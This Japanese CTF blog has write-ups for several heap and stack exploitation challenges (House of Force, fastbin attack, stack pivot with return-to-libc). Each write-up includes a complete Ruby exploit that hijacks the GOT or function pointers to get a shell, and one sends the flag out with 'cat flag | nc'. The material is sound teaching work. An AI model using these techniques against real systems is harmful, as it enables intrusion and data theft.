読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

House of Forceの概要と実践(題材:BCTF2016 bcloud)

これは,CTF Advent Calendar2016の6日目の記事です. 本記事では,House of Forceというheap exploitのテクニックの解説,実践問題の解説を行ってみたいと思う.

1. House of Forceの前に

House of Forceの説明をするに当って,事前に知っておくべきheap領域について復習してみよう.今回は,題材問題も32bitなので,32bitとして話を勧めていく. glibcには,heap領域を管理するためのmalloc_state構造体というものが以下のように定義されている.

struct malloc_state
{
  mutex_t mutex;
  int flags;
  mfastbinptr fastbinsY[NFASTBINS];
  mchunkptr top;
  mchunkptr last_remainder;
  mchunkptr bins[NBINS * 2 - 2];
  unsigned int binmap[BINMAPSIZE];
  struct malloc_state *next;
  struct malloc_state *next_free;
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

malloc_stateは,main_arenaというグローバル変数で使われており,今回のHouse of Forceでは,main_arena.topが重要な要素となってくるので,ここを中心に話を進める.他のメンバも重要なので,参考資料等で読んでおきたい(自分への戒め). topメンバは,mchunkptrという型を使っているが,これは以下のmalloc_chunk構造体のポインタ型である.malloc_chunkはmalloc関数などで実際にユーザが操作するheap領域を管理するための構造体である.今後chunkといったら,このひとかたまりのことを指すと思って問題ない.

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

malloc_chunkも同様にメンバが複数あるが,malloc_chunkは確保済みか,解放済みかで見方が変わってくる.確保済みの場合は,size以降は,ユーザが使うdata領域として使われる.解放済みの場合は,fdやbkといったメンバに他のmalloc_chunkへのアドレスが格納されたりしている.今回の解説では,とりわけ解放済みを考慮する必要がないので,mallocが確保された時にどうなっているのかをしっかり理解して貰いたい.(Unlink Attackなどでは解放済みchunkが重要になってくる) 具体的な理解を進めるために,確保済みの場合のchunkを以下の図1に示す.

f:id:encry1024:20161205231316p:plain
図1 確保済みchunkのイメージ図

prev_sizeは直前のchunkのsize,sizeは自身のchunkのprev_sizeからdata領域まですべて合わせたchunk自体のsizeを表す.また,malloc関数ではdata領域の先頭アドレスが戻り値になっている.つまりmallocの戻り値から,4 * 2を減算することで,chunk自身のアドレスを算出することができる.

では,本題のtopに戻るが,mallocでは,通常確保されているヒープ領域の中から,chunkを切り出して確保している.確保するためには,保持している空きchunkの先頭アドレスを指しているtopを利用する.もっと直感的に言うなれば,次に確保されるかもしれないchunkのアドレスを指しているものである.

実際にtopに,次に確保されるアドレスが格納されているかを確かめるために以下のサンプルコードを使って見ていこう.

// gcc -m32 malloc_sample.c
#include <stdlib.h>
main() {
    char *p1 = (char*)malloc(8);
    char *p2 = (char*)malloc(8);
}

まずgdbmalloc関数が実行された後のeaxを見てみよう.私の環境では0x804b008という値が格納されていた.つまり最初に確保されたchunkは0x804b000から確保されたものだと分かる. また,この時x/wx &main_arena.topを実行してみると以下のようになっていた.

0xf7fb1450 <main_arena+48>:     0x0804b010

つまり,次に確保されるchunkは0x0804b010であり,実際にmallocで返ってくるのは0x0804b018ということがわかる.2回目のmallocの呼び出し後のeaxを見てみると0x0804b018となっていた.

まとめ

  • malloc_stateやmalloc_chunkといった構造体がmalloc内部で利用されている
  • malloc_chunkの管理部(prev_sizeとsize)の次のアドレスがmallocでは返ってくる
  • main_arena.topには,次に確保される予定のchunkのアドレスが格納されている

2. House of Force

House of Forceとは,topが指すchunkのsizeを0xfffffffffのような大きいサイズに書き換え,malloc(意図的に計算したサイズ)でメモリを確保することで,topが指す値を任意のアドレスに変え,その後再度mallocを呼ぶことで,mallocの返すアドレスを固定させる攻撃手法である.

以下にmallocで確保するアドレスにtopが指すアドレスを利用するか否かの判断をする部分のglibcのソースを示す.

checked_request2size(bytes, nb);
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
  {
     remainder_size = size - nb;
     remainder = chunk_at_offset (victim, nb);
     av->top = remainder;
     set_head (victim, nb | PREV_INUSE |
              (av != &main_arena ? NON_MAIN_ARENA : 0));
     set_head (remainder, remainder_size | PREV_INUSE);
     check_malloced_chunk (av, victim, nb);
     void *p = chunk2mem (victim);
     alloc_perturb (p, bytes);
     return p;
  }

では,順番に見てみよう 現在のtopであるav->topをvictim変数に格納する. victimを引数にとり,chunksizeを介して,topのsizeをsize変数に格納している.その後,sizeとnb+MINSIZEを比較しており,これがtrueの時,topの指すアドレスから確保していきます. このnb+MINSIZEのうち,MINSIZEは16で,nbはユーザの要求サイズbytesを以下のマクロで変換した値になる.以下のマクロは要求サイズbytes+8をnbに格納する. つまりtopのsizeが要求サイズ-24以下であれば条件式が真になり,topから切り出す処理が行われる(ただ,実際にやってみると要求サイズ-20で条件式が真になってるっぽい...他の部分が関係しているのか...)

#define request2size(req)                                         
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?  
    MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

#define checked_request2size(req, sz)                             
  if (REQUEST_OUT_OF_RANGE (req)) {                                           
      __set_errno (ENOMEM);                                                   
     return 0;                                                               
   }                                                                         
  (sz) = request2size (req);

次に,if文の中を見てみよう. av->topにremainderを代入しており,そのremainderはchunk_at_offsetというマクロを使って計算している.このマクロを以下に示す.

#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))

つまり現在のtopであるvictimとnbを足した値を,新しいtopに設定していると分かる. もしこのsもといnbが負の値であったら,現在のtopよりも前の領域(bssやgot)などにずらすことが出来る.そのため,nbに負数を渡したいが,通常のtopのsizeは,あまり大きくない上に,if文はunsignedで比較しているため,mallocで負数を渡した場合,条件式が真にならない.そのため,事前にtopのsizeをunsigned値で大きなるように0xffffffffといった大きな値で書き換えておく必要がある.

これらのことを踏まえて,具体的な数値でHouse of Forceを処理を追ってみる.

  • topのsizeは0xffffffffで書き換え済み
  • mallocで0x804b038を返したい
  • 現在のtopを0x804c0d8とする

前述したように新しいtopは,現在のtop + (要求サイズ + 8)のように求まる. この新しいtopというのが,今回では0x804b030にあたる.mallocはtop+8を返すので,予め-8しておく必要がある. この計算式を変形すれば,要求サイズは以下のようにして求まる.

要求サイズ = 新しいtop - 現在のtop - 8

実際に計算してみると,要求サイズは,0x804b030 - 0x804c0d8 - 8 = -4272と計算できる.

まとめ

House of Forceとは,top sizeの書き換えや巨大なサイズのメモリ確保により,mallocで返すアドレスを任意のアドレスにする攻撃手法のことである.これを行うためには以下のような条件が挙げられる.

  1. topのsizeを0xffffffffに書き換え可能
  2. topのアドレスをリーク可能(要求サイズの計算に現在のtopが必要)
  3. mallocで負数を渡せる

3. House of Forceの実践

物は試しということで,House of Forceを使って解くことができるBCTF2016のbcloudという問題を解いていきたいと思います.

下調べ

  • ELF32bit stripped dynamically linked
  • Canary, Nx bit, Partial RELRO
  • 最初にname, org, hostを入力する
  • ノート管理系のアプリケーション
Input your name:
AAAA
Hey AAAA! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
BBBB
Host:
CCCC
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>

バイナリ解析

解析パートは割愛させていただきますが,主に以下のような脆弱性があります.

  • 全体で利用される文字列入力関数0x804868dにoff by one bof
  • nameの入力関数0x80487a1の実装にstrcpyが使われており,文字列入力関数の脆弱性からHeap bofが発生
    • Heap bofにより最初のmallocの戻り値をleak可能
  • orgとhostの入力関数0x804884eでも同様にHeap bofが発生
    • Heap bofによりtopのsizeを書き換え可能
  • 選択肢1で負数を引数にmallocを呼べる

まず,1番最初に呼ばれるname入力関数ではmalloc(64)が呼ばれる.その後,文字列入力関数で64byteの入力を促されるのだが,64byteぴったり入力するとNULL終端しなくなる.さらにその後strcpyが行われ,それがprintfで出力される.今回は,都合よく64byte目に,mallocの戻り値が格納されているためHeapのアドレスがリークにつながる. この時,mallocの戻り値はchunkのdata部分であることを思い出すと,管理部分の8byteを引けば,chunk自身のアドレスがわかる.さらに,これが初めてのmallocなので,このchunkはHeapのベースアドレスになる.

次のorgとhostの入力関数でも,malloc(64)がorgとhost用で2回呼ばれます.さらにHeap bof脆弱性を使ってtopのsizeを書き換える事ができるが,なぜtopのsizeが書き換えることができると分かるのだろうか.それは,ここまでで呼ばれるmallocの回数やサイズが固定だからである.実際,これまでにmalloc(64)は3回呼ばれた事になり,Heapのベースアドレスに(64 + 8) * 3を足せば,次のHeap領域に使われる予定のアドレスもといtopの指す値が求まる.topの指す値がわかるので,そこに+4すればtopのsizeのアドレスになる.実際,topのsizeのアドレスをわかった上でバイナリを読んでいくと,自明に書き換えている処理があることがわかります.(正確には,選択肢1の関数も読まないとわからない)

ここまでで,topのアドレスリークとtopのsizeの書き換えが可能であることがわかった.最後の条件ですが,選択肢1の関数を見るとわかるので載せておく.

0x80489fc:   mov    DWORD PTR [esp],0x8048eec # Input the length of content
0x8048a03:   call   0x8048520 <puts@plt>
0x8048a08:   call   0x8048709                 # 入力をatoiで数値にする関数
0x8048a0d:   mov    DWORD PTR [ebp-0xc],eax  
0x8048a10:   mov    eax,DWORD PTR [ebp-0xc]
0x8048a13:   add    eax,0x4                   # 入力値 + 4
0x8048a16:   mov    DWORD PTR [esp],eax       
0x8048a19:   call   0x8048510 <malloc@plt>    # malloc(入力値+4)

このようになっており,ユーザの指定した長さより+4しているが,重要なのは負数の時の対策がされていないことである.これにより最後の条件も満たす.これにより本問題ではHouse of Forceが可能だと判断できる.

後述するが,今回はatoiのGOTをmallocで返したい.値は0x804b03cなので,topに0x804b034を設定したいが,パディング等の都合上,0x804b030をターゲットとしたほうが理解しやすいので,今回のtargetは0x804b030 + 8の0x804b038とする.選択肢1では,長さを指定して,入力をするので,0x804b03cを書き換えたければ,0x804b038~0x804b03cの4byte分はゴミを入れて,その後の4byteで書き換えたい値を入力すれば良い.

先程の計算式より,要求サイズは, 要求サイズ = 0x804b030 - top - 8 として計算することができる.しかし,選択肢1ではユーザの指定した長さに+4してしまうので実際は,さらに-4する.

ここからは,普通のPwnとしての解説になるが,任意のアドレスを書き換え可能になった場合,簡単なのはatoiやstrlenといった入力値がそのまま入るような関数のGOTをシステムに書き換えてしまうことである.そこで今回はatoiのgotをsystemに書き換えてしまおう.しかしsystemのアドレスがわからないので,libcのリークをする必要がある.そこで,atoiをsystemに変える前に,いったんprintfに書き換えてしまい,意図的にFormat String Bugを引き起こしlibcのアドレスリークを行う.

選択肢3を選ぶとノートのidを指定して,中身を書き換えるEdit機能がある.これを使って,House of Forceで狙って帰ってきたアドレスの中身を書き換え可能である. アドレスリークして,systemのアドレスがわかった後は,選択肢3を選んでatoiをsystem関数に書き換えた後,選択肢を選ぶ画面で,"/bin/sh"を送ればシェルを取れる.ただし,選択肢3を選ぶときには,atoiはprintfなので"3"をいれるだけではprintfの戻り値が出力長さの1になってしまうので,"333"のように3文字分出力する必要がある.

ここまでの,長い解析結果を踏まえて作成したexploit.rbが以下である.

# coding: utf-8
require 'pwnlib.rb'
require 'libcdb'

host = "localhost"
port = 8888

class PwnTube
  
  def recv_until_prompt
    self.recv_until("-->>\n")
  end

  def new(len, data)
    recv_until_prompt
    self.sendline("1")
    self.recv_until("content:\n")
    self.sendline(len.to_s)
    self.recv_until("content:\n")
    self.send(data) if data
  end

  def edit(id, data)
    self.recv_until("id:\n")
    self.sendline(id.to_s)
    self.recv_until("content:\n")
    self.send(data) if data
  end
  
end

PwnTube.open(host, port) do |t|

  puts t.recv_until("\n")
  t.send("A" * 60 + "BBBB")
  puts t.recv_until("BBBB")

  # 最初のmallocの返り値からヘッダサイズの8byteを引けばヒープの先頭アドレスになる
  heap_base = t.recv(4).unpack("L")[0] - 8

  # malloc(64) x 3 = 72 * 3 = 216分確保される"予定"
  # heap_base + 216したところの領域が次に確保される領域
  top_chunk = heap_base + (64 + 8) * 3
  
  puts "[+] heap base = 0x%x" % heap_base
  puts "[+] top =  0x%x" % top_chunk
  
  puts t.recv_until("Org:\n")
  t.send("B" * 64)

  puts t.recv_until("Host:\n")
  t.sendline(p32(-1))
  puts "[+] overwriting top chunk size"

  atoi_got_plt = 0x804b03c
  target = atoi_got_plt - 0xc # top chunkを0x804b030にしたい
  
  evil_size = target - top_chunk - 8 - 4
  
  t.new(evil_size, nil)
  puts "[+] sending large size(=%d) for exploit" % evil_size
  
  printf_plt = 0x80484d0
  
  payload = ""
  payload = p32(0xdeadbeef)  # memset@got.plt
  payload << p32(printf_plt) # atoi@got.plt

  t.new(8, payload)
  puts "[+] overwriting atoi(0x%x) -> printf" % atoi_got_plt
  
  t.recv_until_prompt
  t.sendline("%31$p")
  libc_start_main = t.recv_capture(/(0x[0-9a-f]+)Invalid option/)[0].to_i(16) - 243
  
  libc = Libc.new("__libc_start_main", libc_start_main)
  offset = libc.dump("__libc_system") - libc.dump("__libc_start_main")
  libc_system = libc_start_main + offset
  puts "[+] libc system = 0x%x" % libc_system
  
  payload = ""
  payload << p32(0xdeadbeef)
  payload << p32(libc_system)

  t.recv_until_prompt
  t.sendline("A"*3)
  t.edit(0, payload)

  t.recv_until_prompt
  t.sendline("sh")
  t.shell
  
end

以下が実行した結果である.

vagrant@alice1000:~/c/BCTF2016$ ruby exploit.rb                       
[*] connected

Input your name:
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
[+] heap base = 0x97f9000
[+] top =  0x97f90d8
! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
Host:
[+] overwriting top chunk size
[+] sending large size(=-24830132) for exploit
[+] overwriting atoi(0x804b03c) -> printf
[+] libc system = 0xf7632310
[*] waiting for shell...
[*] interactive mode
cat flag.txt
BCTF{3asy_h0uSe_oooof_f0rce}

以上により,シェルが取れてflagが見れた.

4.おわり

去年の人にTwitterで「作って」と言われて,今回のAdventCalendarを作成しました.他の書いている方が強い人ばかりで恐縮ですが書かせていただきました.私自身とても他の人の記事を楽しみに待っていたり,読ませていただいております. 本記事の内容に関してましても,学んだばかりのため,かなり冗長になってしまったかと思いますが,最後まで読んでいただけてありがとうございます.この問題自体は,参考資料にもあるhow2heapの資料で,House of Forceの題材として挙げられていた問題の内の1つで,House of Forceの理解にわりと専念することが出来る問題だったので,良問のように思えます.マサカリ等ありましたら,ご指導いただけると嬉しく存じます.

5.参考文献

Codegate CTF 2016 serial(pwn444)

下調べ

serial-444: ELF 64-bit LSB  executable
x86-64
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.32
BuildID[sha1]=178aaa6576923592e7fc8534fd8cb21d5f6c5cdb
stripped
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

6bit strippedで大変だぁ,CanaryもNxもある.PIEがなくて幸せ.

バイナリ解析結果

ノート管理アプリ系のバイナリ

  • keyを入力しないと先に進めない
    • keyチェック関数: 0x400cbb
  • calloc(10, 32)でHeap領域の確保

  • 各種入力箇所はfgets(buf, 32, stdin)を利用

  • 1~ 4の選択肢
    • 1 Add: データを入力して,その長さ分memcpy

    • 2 Remove: IDを入力して,そのmemsetで0にする

      • 関数ポインタ利用
    • 3 Dump: 全ノートの出力
      • 関数ポインタ利用
    • 4 Quit: 終了
  • 1でHeap Overflow発生
  • 関数ポインタの上書き可能(下のアドレス0x40096e)
gdb-peda$ x/6gx 0x603010 - 16    
0x603000:       0x0000000000000000      0x0000000000000151
0x603010:       0x0000000000000000      0x0000000000000000
0x603020:       0x0000000000000000      0x000000000040096e

方針

  • Heap Overflowを利用したfunc ptr overwriteでsystem("/bin/sh")を起動

まずexploitの前に,keyチェックを突破しなくてはならない.バイナリを読んだところ,かなりいろんな計算をしていてあまりよくわからなかった.そこでangrを用いてこれを突破する.angrの方はよくわからないので,gen_serial.pyAPIリファレンスとにらめっこしながら写経した.

次に,実際のエクスプロイトだが,こちらは至ってシンプルで,最初に示した方針通り.AddによるHeap Overflowで関数ポインタを上書きするのだが,system関数のアドレスがわからない.そこでまずは,関数ポインタを0x400790 <printf@plt>:で上書きしつつ,"%p"を大量に含ませる(入力が32なのであんま多くないが)文字列を入力,その後Dumpを実行して,Format String Bugを生じさせ,libc内っぽいアドレスを探した.そうすると3個目にそれっぽいアドレスを発見したので,手持ちのlibcでオフセットを求めてlibcのベースアドレスとlibcのsystem関数のアドレスを計算した.

RemoveでAddしたのを削除してから,再度Addで関数ポインタで上書きしつつ,文字列には"/bin/sh"を含ませる.そして再度Dumpを実行すると,func ptr overwriteされたsystem("/bin/sh;AAAAAAAAA(ry")が実行されシェル奪取.

Exploit

まずkeyチェック突破に使ったスクリプト.一応コメント文で参考文献よりコメントを書いているが合っている保証はない.

# coding: utf-8
import angr

start = 0x400cbb
goal  = 0x400e5c
key_len = 12
p = angr.Project("./serial-444")

# set entry point
init = p.factory.blank_state(addr = start)

# Creates a Bit-Vector Symbol
key = init.se.BVS(name="key", size = key_len * 8)

# Stores content into memory
init.memory.store(0x6020BA, key)

# Set sub_0x400cbb's arg1
init.regs.rdi = 0x6020BA

# Find the path to reach the specified address
pg = p.factory.path_group(init)
pg.explore(find = goal)

print "Key = %r" % pg.found[0].state.se.any_str(key).strip("\x00")

次におなじみのexploit.rb

# coding: ascii-8bit
require 'pwnlib.rb'

host = "localhost"
port = 8888


def add(t, data)
  t.recv_until("choice >> ")
  t.sendline("1")
  t.recv_until("insert >> ")
  t.sendline(data)
  t.recv_until("\n")
end

def remove(t, idx)
  t.recv_until("choice >> ") 
  t.sendline("2")
  # プロンプトがここだけ他と違くてなかなかrecvできなくて時間溶かした
  t.recv_until("choice>> ") 
  t.sendline("0")
  t.recv_until("\n")
end

def dump(t)
  t.recv_until("choice >> ")
  t.sendline("3")
  t.recv_until("\n")
end

PwnTube.open(host, port) do |t|

  printf_plt = 0x400790

  t.recv_until("input product key: ")
  t.sendline("615066814080")

  payload = "%3$p"
  payload = payload.ljust(24, "A") + p32(printf_plt)
  add(t, payload)

  dump(t)

  leak = t.recv_until("\n").split("A")[0].to_i(16)

  libc_base = leak - 0x10 - 0xeb700
  libc_system = libc_base + 0x46590
  puts "[+] libc base = 0x%x" % libc_base
  puts "[+] libc system = 0x%x" % libc_system

  remove(t, 0)

  payload = "/bin/sh;"
  payload = payload.ljust(24, "A") + p64(libc_system)
  add(t, payload)

  t.recv_until("\n")
  t.recv_until("\n")

  dump(t)

  t.shell

end

参考文献

感想

まさかangrを使うことになると思っていなかったので,面白かった.しかし,正直まだまだ謎な部分が多いのでもっとドキュメンテーションを読み込もうと思った.使えたら楽しいだろうなぁ.
Pwn部分は,オーバーフローした時に次のchoiceを勝ってに行ってしまうとかプロンプトの待受がうまくいかないとか,そういう本質ではない細かいところでめっちゃ時間を使ってしまったが,体感としてはeasyな感じだった.もっと短時間で解ければなお良かった. stkof(前回の記事)でもつかったが,printf(str)の状況を無理やり作る技強いなと思った.

HITCON CTF2014 stkof(pwn550)

下準備

stkof: ELF 64-bit LSB  executable
x86-64
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.32
BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0
stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               3       stkof

64bit strippedなバイナリで,CanaryとNxが有効.

バイナリ解析結果

  • 1 ~ 4の選択肢がある
    • 1: サイズを入力してmallocで確保
    • 2: サイズと番地を入力して,その番地にサイズ分fread
    • 3: 番地を入力して,freeで解放
    • 4: 番地を入力して,そこに格納された値を引数にstrlenを実行して,長さが短ければ「//TODO」と表示,そうでなければ「...」を表示
  • 1をalloc_mem, 2をwrite_mem, 3をfree_mem,4をstrlen_memと呼ぶことにする
  • 0x602100にalloc_memした際に加算していくカウンタがある
  • alloc_memした際のヒープのアドレスは,0x602140から始まる配列に格納される
  • 2ではサイズを1で取ったサイズと比較しないので,大きなサイズを与えれば自明なヒープオーバーフローが発生する.

方針

※正直な所うまく書けなかったので,Exploitコードと対比させながら読んでいただけると幸いです.

  1. fastbins unlink attackを利用
  2. GOT overwriteでsystem("/bin/sh")を起動

fastbins unlink attackではfree済みチャンクの情報を書き換えて,次にmallocした際に返ってくるアドレスを固定するということができるので,それを用いてstrlenのGOT overwriteでsystemに変えてシェルを起動させる.しかしsystemのアドレスがわからないので,まずはstrlenをprintfに変えてFormat String Bugを生じさせlibcのアドレスリークを行う.その後オフセットを用いてsystem関数のアドレスが求まったら,strlenをsystemに変えてシェルを起動させる.

0x602100をチャンクのサイズに利用するために,alloc_memを繰り返して加算させていき,適切な値にする.その後,最後のチャンクに対してfree_memをすることで最後のチャンクをfastbinsに登録させる.

最後から2番目のチャンクに対してwrite_memを実行することで,ヒープオーバーフローをさせて,fastbinsに登録されたチャンク(=最後のチャンク)情報を上書きする.この時サイズと次のチャンクへのアドレスをうまく配置する.

サイズは最初にalloc_memで確保したのが32byteだったので,32 + prev_sizeとsizeの16byte + sizeの下位1bitを立てたい(直前のチャンクを使用中という扱いにするflag)ので+1の合計49になるようにする.

次のチャンクへのアドレスは,0x602100をサイズ扱いとしたいので,-8byteしたアドレスを配置する.

その後2回alloc_memを行うと,2回目のalloc_memの際には,mallocの返り値として,0x602108が返ってきている.write_memの書き込みの際に,raxに入力した番地が入り,mov rax,QWORD PTR [rax*8+0x602140]によってraxに格納されたアドレスが,freadの読み込みアドレスになるので,0x602108からオーバーフローさせて0x602140に上書きしたいアドレスを配置すれば,write_memを呼ぶことで任意の値に書き換えることができる.そこで0x602140にstrlenのgotを配置して,write_memで番地として0を入力すればソースは[0*8+0x602140]つまり[0x602140]になるので,printf@pltを流し込んでGOT overwriteさせることができる.

適当な領域に対して,"%p"という文字列をwrite_memで格納して,strlen_memを呼ぶことでprintf(%p)というFormat String Bugが発生させることができるので,それを用いてスタック上にある_libc_start_main+245のアドレスを手に入れる.

リークしたアドレスからオフセットを用いてlibcのsystem関数のアドレスを計算したら,strlen@gotをsystem関数のアドレスで上書きして,write_memで適当な領域に"/bin/sh\x00"を書き込み,strlen_memを呼べば上書きされているので,system("/bin/sh")が起動する.

Exploit

上記の方針で作成したexploit.rbを以下に示す.

# coding: ascii-8bit
require 'pwnlib.rb'

host = "localhost"
port = 8888

# Action 1
def alloc(size, t)
  t.sendline("1")
  t.sendline(size.to_s)
  idx = t.recv_until("\n").chomp.to_i
  t.recv_until("\n") #=> OK
  return idx
end

# Action 2
def write(idx, data, t)
  t.sendline("2")
  t.sendline(idx.to_s)
  t.sendline(data.length.to_s)
  t.send(data)
  t.recv_until("\n") #=> OK
end

# Action 3
def free(idx, t)
  t.sendline("3")
  t.sendline(idx.to_s)
  t.recv_until("\n") #=> OK
end

# Action 4
def strlen(idx, t)
  t.sendline("4")
  t.sendline(idx.to_s)
  return t.recv_until("\n").chomp
end

PwnTube.open(host, port) do |t|

  entries_counter = 0x602100

  entries = []
  0x30.times do
    entries << alloc(32, t)
    puts "allocate 0x#{entries[-1].to_s(16)}"
  end

  free(entries[-1], t)

  buf =  "A" * 32
  buf << p64(0)                   # prev_size
  buf << p64(32 + 16 + 1)         # size + flag
  buf << p64(entries_counter - 8) # fd and fd's prev_size
  write(entries[-2], buf, t)      # Overwrite

  e0 = alloc(32, t) # malloc returns 0xe058e0
  entries << e0

  # fd -> 0x6020f8
  # 0x6020f8 + 8 = 0x602100 -> 0x31 = size + flag
  # 0x6021f8 + 16= 0x602108 -> data

  e1 = alloc(32, t) # malloc returns 0x602108
  entries << e1

  strlen_got = 0x602030
  printf_plt = 0x4007a0

  buf = "A" * 56
  buf << p64(strlen_got)
  write(e1, buf, t)

  write(0, p64(printf_plt), t)

  write(entries[-1], "%41$p\n\0", t)

  leak = strlen(entries[-1], t).to_i(16)
  t.recv_until("\n")

  libc_base = leak - 245 - 0x21e50 # 0x21e50 is local libc offset
  libc_system = libc_base + 0x46590

  puts "[+] libc base   = 0x%x" % libc_base
  puts "[+] libc system = 0x%x" % libc_system

  # strlen@got overwrite libc_system
  write(0, p64(libc_system), t)

  write(entries[-1], "/bin/sh\x00", t)

  strlen(entries[-1], t)

  t.shell

end

参考文献

感想

Heap領域のテクニックはとてもおもしろいし,fastbins unlink attackはわりと理解しやすかった.
しかし,それを記事に書くのはとてもつらい.
fastbins unlink attackを理解して,それを使った問題をときたい人の参考になったら良いな&自己満足記事でした.

SECUINSIDE 2013 pwn me!! (pwn750)

下準備

pwnme: ELF 32-bit LSB  shared object
Intel 80386
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.24
BuildID[sha1]=4353f2c67b27a8adfc0106faaee7d94ef52d06cf
not stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No  0       6   pwnme

方針

この問題はfork-server型の問題で,バイナリ自身がネットワーク接続などをする.つまり再起動するまでいろいろアドレスが変わらないという着眼点が一つある.しかしPIEということもあり,少し厄介ではあるが,実は自明なBuffer Overflowが存在する.以下の2つはmain関数の処理である.

# memset(0xffffd5f0, 0, 0x400)
   0x56555ce5 <main+457>:       mov    DWORD PTR [esp+0x8],0x400
   0x56555ced <main+465>:       mov    DWORD PTR [esp+0x4],0x0
   0x56555cf5 <main+473>:       lea    eax,[esp+0x30]
   0x56555cf9 <main+477>:       mov    DWORD PTR [esp],eax
=> 0x56555cfc <main+480>:       call   0xf7f35af0
# recv(fd, 0xffffd5f0, 0x410, 0)
   0x56555d0e <main+498>:       mov    DWORD PTR [esp+0x8],0x410
   0x56555d16 <main+506>:       lea    edx,[esp+0x30]
   0x56555d1a <main+510>:       mov    DWORD PTR [esp+0x4],edx
   0x56555d1e <main+514>:       mov    DWORD PTR [esp],eax
=> 0x56555d21 <main+517>:       call   0xf7ef7630 <recv>

上記のmemsetとrecvの呼び出し引数の違いによりBOFが起こることがわかる.省略するが試すと,このBOFした内の8byteでebpとretaddrを上書きすることができる.
だが,8byteでは何もすることが出来ないので,stack pivotでespをずらす必要がある
32bitPIEバイナリの共有ライブラリのランダム幅は小さいのでfork-server型においてはブルートフォースで求められそうだ.そこでreturn to libcの方針を立てる.
少し話を戻すとstack pivotでずらす先が決まっていない.ここでプロは,この問題には無くても良いようなサーバ側でprintfする処理が噛ませてあることに目がいくらしい.printf内では出力する文字列のバッファがあるのではないか,それをstack pivot先として使えば良いのではないかと考える.そこで

b *write

としてwriteが呼ばれるときに止めてスタックの値を見てやると,0xf7fd7000というところに入っていることがわかる.

0000| 0xffffcfbc --> 0xf7e7a251 (<_IO_file_write+65>:   test   eax,eax)
0004| 0xffffcfc0 --> 0x1
0008| 0xffffcfc4 --> 0xf7fd7000 ("DEBUG : got connection from 127.0.0.1\n")

このアドレスはどういう領域なのか見てみると

0xf7e0c000 0xf7fb1000 r-xp      /lib32/libc-2.19.so
0xf7fb1000 0xf7fb3000 r--p      /lib32/libc-2.19.so
0xf7fb3000 0xf7fb4000 rw-p      /lib32/libc-2.19.so
0xf7fb4000 0xf7fb8000 rw-p      mapped
0xf7fd7000 0xf7fd9000 rw-p      mapped <- ここ
0xf7fd9000 0xf7fdb000 r--p      [vvar]
0xf7fdb000 0xf7fdc000 r-xp      [vdso]
0xf7fdc000 0xf7ffc000 r-xp      /lib32/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p      /lib32/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p      /lib32/ld-2.19.so
0xfffdd000 0xffffe000 rw-p      [stack]

謎の書き込み権限有りのmappedされた領域であることがわかる.さらにこのアドレスはlibcのベースアドレスからオフセットで求めることが可能である.
最後に,シェルを単純に起動してもfork-server型なので意味がない.そこでフラグをcatして,それをncに流すということをさせる.ここで命令の末尾に";"を入れておくことで";"以降は失敗するだけなので変な文字列が入っていても気にしないで良い.

方針手順まとめ

  1. ブルートフォースによりlibcのベースアドレスを決めて,各種アドレス計算
  2. BOFによりstack pivotで出力バッファにずらす
  3. return to libcのコードを配置して実行する

結果

以下にexploit.rbとフラグ入手に必要な前処理を示す

nc -l -p 12345
# coding: utf-8
require 'pwnlib.rb'

def bfa(addr)

  PwnTube.open("localhost", 8181) do |tube|

    libc_base_addr = addr
    system_addr = libc_base_addr + 0x3fe70
    buf_addr = libc_base_addr + 0x1cb000 + 0x300
    cmd_addr = buf_addr + 0x10
    leave_ret_adr = libc_base_addr + 0x00128e63

    puts "[+] check 0x%x" % libc_base_addr

    payload =  ""
    payload << "A" * 0x2fc
    payload << p32(0xdeadbeef)
    payload << p32(system_addr)
    payload << p32(0xdeadbeef)
    payload << p32(cmd_addr)
    payload << "cat flag | nc localhost 12345;"
    payload = payload.ljust(0x408, "B")
    payload << p32(buf_addr)
    payload << p32(leave_ret_adr)

    puts tube.recv_until("what is your name? ")
    tube.send("#{payload}\n")

  end
end

256.times do |i|
  bfa(0xf7500000 | (i * 0x1000))
end

参考文献

感想

I/Oバッファを使うってとこ,新鮮で面白い.

socatを使おう

socatとは

Pwnの問題には、プログラム自信がlistenやacceptといった関数を使ってネットワーク的な機能を持つバイナリのfork-server型とそうでない問題がある。後者の場合はxinetd型と呼ばれている。問題として配布されたバイナリをxinetdにのせるのは面倒なので、普段socatというプログラムを使ってこれを実現する。

